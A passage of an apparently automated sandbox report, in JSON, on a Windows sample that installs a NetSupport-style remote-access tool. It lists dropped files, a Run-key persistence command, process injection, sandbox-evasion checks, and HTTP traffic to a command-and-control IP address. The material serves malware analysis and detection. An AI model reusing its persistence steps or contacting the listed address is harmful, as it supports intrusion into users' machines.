00000000-00006604.00000002.109859.05400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$37","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$38","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"123.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 739C0000\n \"bild.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched32.dll\" at 73120000\n \"bild.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 730A0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"123.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"123.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73C80000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"reg.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"bild.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"bild.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73C80000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"123.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75990000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75990000\n \"reg.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75990000\n \"bild.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75990000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$39","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"123.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"bild.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"pcicapi.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"PCICL32.DLL\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"TCCTL32.DLL\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"HTCTL32.DLL\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"PCICHEK.DLL\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"123.exe\" has an executable section named \".text\"\n \"bild.exe\" has an executable section named \".text\"\n \"remcmdstub.exe\" has an executable section named \".text\"\n \"pcicapi.dll\" has an executable section named \".text\"\n \"PCICL32.DLL\" has an executable section named \".text\"\n \"TCCTL32.DLL\" has an executable section named \".text\"\n \"HTCTL32.DLL\" has an executable section named \".text\"\n \"PCICHEK.DLL\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"KERNEL32.dll\" : \"220\" [Source: PCICL32.DLL]\n Observed large number of imported APIs from \"USER32.dll\" : \"230\" [Source: PCICL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"123.exe\" has an writable section named \".data\"\n \"remcmdstub.exe\" has an writable section named \".data\"\n \"pcicapi.dll\" has an writable section named \".data\"\n \"PCICL32.DLL\" has an writable section named \".data\"\n \"PCICL32.DLL\" has an writable section named \".tls\"\n \"PCICL32.DLL\" has an writable section named \".hhshare\"\n \"TCCTL32.DLL\" has an writable section named \".data\"\n \"HTCTL32.DLL\" has an writable section named \".data\"\n \"PCICHEK.DLL\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$3b","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x191a00\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x17e600\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x19188c\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x17e418\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\reg.exe\" [Source: 00000000-00006244-00000BC0-647953351]\n Observed system executable string:\"%WINDIR%\\system32\\reg.exe\" [Source: 00000000-00006244-00000C44-1973758950]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Public\\Videos\\Video\\netsup.bat\" \"\" [Source: cmd.exe]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00000000-00006244) was launched with new environment variables: \"sfxcmd=\"\"C:\\123.exe\"\", sfxname=\"C:\\123.exe\", PROCESSOR_ARCHITEW6432=\"AMD64\", sfxstime=\"2024-11-16-13-04-31-129\"\"\n Process \"cmd.exe\" (UID: 00000000-00006244) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"reg.exe\" (UID: 00000000-00007332) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"geo.netsupportsoftware.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"123.exe\" searching for class \"EDIT\"\n \"bild.exe\" searching for class \"NSMWClass\"\n \"bild.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%PUBLIC%\\\\Public\\\\Videos\\\\Video ...\" (UID: 00000000-00006244)\n Spawned process \"reg.exe\" with commandline \"REG ADD \"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Ru ...\" (UID: 00000000-00007332), Spawned process \"bild.exe\" (UID: 00000000-00006604)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%PUBLIC%\\\\Public\\\\Videos\\\\Video ...\" (UID: 00000000-00006244)\n Spawned process \"reg.exe\" with commandline \"REG ADD \"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Ru ...\" (UID: 00000000-00007332), Spawned process \"bild.exe\" (UID: 00000000-00006604)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"123.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"bild.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"remcmdstub.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"pcicapi.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"PCICL32.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"TCCTL32.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"HTCTL32.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"PCICHEK.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"RegisterServiceCtrlHandlerA\" (Indicator: \"RegisterServiceCtrlHandler\"; File: \"123.exe\")\n Found reference to API \"RegisterServiceCtrlHandlerExA\" (Indicator: \"RegisterServiceCtrlHandler\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"RegisterServiceCtrlHandlerA\" (Indicator: \"RegisterServiceCtrlHandler\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"123.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3e","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops a Windows setup information (INF) file","description":"\"nskbfltr.inf\" has type \"Windows setup INFormation\"","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-55","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"123.exe\" queries basic process information of the \"C:\\123.exe\" (UID: 1540)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$40","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"bild.exe\" called \"NtQueueApcThread\" (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"123.exe\" reads file \"c:\\123.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"Found string \".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment using user register activity\n Matched sigs: Contains ability to detect sandbox (imports API)\n Matched sigs: Possibly tries to evade analysis by sleeping many times\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to detect presence of virtual environment (API string)\n Matched sigs: Calls an API typically used to find device information","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"123.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"123.exe\" trying to touch file \"C:\\123.EXE.LOCAL\"\n \"123.exe\" trying to touch file \"C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.16299.248_none_8e66fbc1026df8ab\\GdiPlus.dll\"\n \"123.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\imm32.dll\"\n \"123.exe\" trying to touch file \"C:\\Windows\\Temp\\VxSSL32.dll\"\n \"123.exe\" trying to touch file \"C:\\FLTLIB.DLL\"\n \"123.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\fltLib.dll\"\n \"123.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"123.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"123.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"bild.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \"bild.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"bild.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"bild.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\loca[1].htm\"\n \"bild.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\"\n \"bild.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"\n \"bild.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"\n \"bild.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\loca[1].htm\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$41","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"123.exe\" writes file \"c:\\users\\public\\public\\videos\\video\\netsup.bat\"\n \"123.exe\" writes file \"c:\\users\\public\\public\\videos\\video\\nskbfltr.inf\"\n \"123.exe\" writes file \"c:\\users\\public\\public\\videos\\video\\nsm.lic\"\n \"123.exe\" writes file \"c:\\users\\public\\public\\videos\\video\\pcicapi.dll\"\n \"123.exe\" writes file \"c:\\users\\public\\public\\videos\\video\\pcichek.dll\"\n \"123.exe\" writes file \"c:\\users\\public\\public\\videos\\video\\pcicl32.dll\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"bild.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"GET\" object: location/loca.asp\" - (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"bild.exe\" called \"InternetReadFile\" with parameter 16 (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"bild.exe\" called \"InternetOpenA\" (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST http://45.61.128.74/fakeurl.htm\"\n Found http requests in header \"GET /location/loca.asp\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"123.exe\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"pWSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"11017138498,6756,3229,,InternetReadFile,Wininet.dll,\"00:27:36.218\",RX=0,PX=0\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetAddConnection2A\" (Indicator: \"NetAddConnection\"; File: \"123.exe\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; File: \"123.exe\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"WNetAddConnection2A\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"123.exe\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide information and utilities for managing network resources (API string)","description":"Found reference to API \"WNetCancelConnection2A\" (Indicator: \"WNetCancelConnection\"; File: \"123.exe\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-113","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"Found reference to API \"EnumPrintersA\" (Indicator: \"EnumPrinters\"; File: \"123.exe\")\n Found reference to API \"EnumPrinters failed (2), error %d\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"EnumPrinters failed (1), error %d\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"EnumPrinters failed (4), error %d\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"EnumPrinters failed (3), error %d\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"EnumPrintersA\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserEnum\" (Indicator: \"NetUserEnum\"; File: \"123.exe\")\n Found reference to API \"NetUserGetInfo(%ls\\%ls) took %d ms and ret x%x\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"NetUserGetInfo\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"NetUserEnum\" (Indicator: \"NetUserEnum\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionA\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: 